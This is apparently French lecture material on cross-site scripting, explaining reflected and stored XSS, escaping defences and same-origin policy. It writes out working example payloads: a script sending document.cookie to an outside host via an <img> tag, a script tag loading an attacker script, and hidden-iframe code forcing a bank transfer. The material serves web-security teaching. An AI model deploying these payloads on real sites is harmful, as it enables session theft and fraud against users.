XSS Cross Site Scripting

Ne jamais se fier au client

Toutes les données en provenance du client :

  • Entêtes HTTP,
  • Paramètres de l’URL, query string
  • Corps de la requête, données des formulaires,
  • Cookies, Storage API,

peuvent contenir des valeurs non valides. Dans les attaques de type XSS :

  • Le client est la victime, pas le serveur.
  • Les données non-valides sont construites par l’attaquant.
  • La victime est persuadée/forcée par l’attaquant à rentrer les données non-valides dans l’application.
  • Les données non-valides sont retournées à la victime par le serveur, avec des effets non désirés.

Injection de code HTML

Dans la suite

Clélie est le client, victime des attaques.

Servane est le serveur, contenant une faille XSS.

Athanase est l’attaquant, qui cible Clélie.

Pour démontrer une faille XSS, on se contente en général de démontrer la possibilité d’exécuter du code JavaScript arbitraire, hors du contrôle du serveur : afficher un popup suffit !

Exemple

Servane utilise une valeur provenant du query string, sans filtrer :

return 'Bonjour ' + $req->query->get('user');

Clélie a l’habitude de visiter http://servane.org/?user=Clélie

Athanase persuade Clélie de visiter une URL spécialement conçue :

Salut Clélie, j’ai trouvé une vidéo trop marante chez Servane :

http://servane.org/?user=<script>alert('XSS reussi !')</script>

Se protéger de XSS

Échapper les caractères spéciaux : <, >, &, ", ', …

  • Avec la fonction htmlspecialchars() de PHP,
  • Avec la fonction $app->escape() de Silex,
  • Par l’échappement automatique de Twig, ou d’un autre moteur de templates (voir aussi la leçon sur les templates).

Attaques XSS

Cross site scripting

On estime que 80% des failles de sécurité des application web sont des failles XSS.

Que peut-on faire avec XSS ?

  • Changer l’apparence d’une page, la défigurer (recerchez Stallowned).
  • Rédiriger et phisher.
  • Vols des cookies et des données privées !
  • Propager l’exploit XSS comme un ver.
  • Controler le browser de la victime !!!

Les attaques XSS comportent trois acteurs : le client (la victime), l’attaquant et le serveur.

Elles nécessitent d’une part de social engineering.

XSS permanent et reflété

XSS reflété : Le code est injecté quand le client visite le lien

  • Query string
  • Formulaires
  • Résultats de recherche
From: "order-update@amazon.com" <order-update@amazon.com>
Subject: Amazon.com - Your Cancellation (175-2364376-728612)

<html><body>
Your order has been successfully canceled. For your reference,
here's a summary of your order:<br />

You just canceled order <a
href="http://www.amazon.com/?var=<script>injection()</script>">#175-2364376-728612</a>
placed on February 16, 2012. ...

XSS permanent : Le code est stocké sur le server (typiquement, dans la BD)

  • Billets de blog, forums, …
  • Réseaux sociaux.

Palliatif : Cross-domain policy

À aucun moment un script d’un domaine (par ex. www.hacker.com) doit pouvoir accéder à partir d’un document au contenu d’un domaine diffèrent (par ex. www.example.com).

La cross-domain policy est mise en place pour

  • Cookies ;
  • Requêtes AJAX ;
  • Contenu de frames et iframes.

Exceptions (nécessaires)

  • Images, audio, vidéos ;
  • Scripts ;
  • URL des frames et iframes.

Exemple : vol de session

  1. L’attaquant dispose de domaines qu’il contrôle, par exemple :

    • http://cdn.rawgit.com/,
    • http://httpbin.org/.

    Il sert un script à l’adresse http://cdn.rawgit.com/defeo/aws-security/master/xss.js

    document.body.innerHTML +=
      '<img src="http://httpbin.org/get?ck=' + document.cookie + '">';
    

Note : ce script est complètement inoffensif si servi par Athanase :

Exemple : vol de session

  1. Servane a une faille XSS permanente dans son blog : les commentaires peuvent être injectés avec des balises <script>.

  2. Athanase injecte le code suivant dans http://blog.servane.org/

    <script src="http://cdn.rawgit.com/defeo/aws-security/master/xss.js"></script>
    
  3. Clélie visite le blog de Servane. Le script de Athanase s’exécute, et envoie les cookies de Clélie (y compris son identifiant de session) à http://httpbin.org.

Pourquoi <img> ?

La balise <img> est utilisée souvent pour envoyer des données de la victime à l’attaquant :

<img src='http://httpbin.org/get?ck={"sessid":"a10340f0e"}' />
  • Presque tous les browsers savent la gérer,
  • Connexion silencieuse (pas d’interaction utilisateur, pas de confirmation),
  • Rarement filtrée,
  • Idéale pour une transmission de la victime à l’attaquant.

Autres techniques pour capter les données :

  • XMLHttpRequest,
  • iframes,
  • formulaires cachés,
  • <audio>, <video>, …

Autre exemple : abus d’identité

  • L’attaquant injecte le script dans une page vulnérable et le donne à la victime
http://bank.servane.org/?<script src="http://hacker.com/evil.js"></script>
  • Le script ajoute un <iframe> caché dans la page du serveur
document.write('<iframe name="hf" style="display:none"></iframe>');
  • Après quelques secondes, le script génère une requête à une page sécurisée
function req() {
  window.frames.hf.location.href=
    'http://bank.servane.org/transfer?to=athanase&amount=10000';
}
setTimeout(req, 5000);
  • La réponse à transfer est reçue dans l’iframe. Clélie ne s’est aperçue de rien.

Lectures

Outils

Fork me on GitHub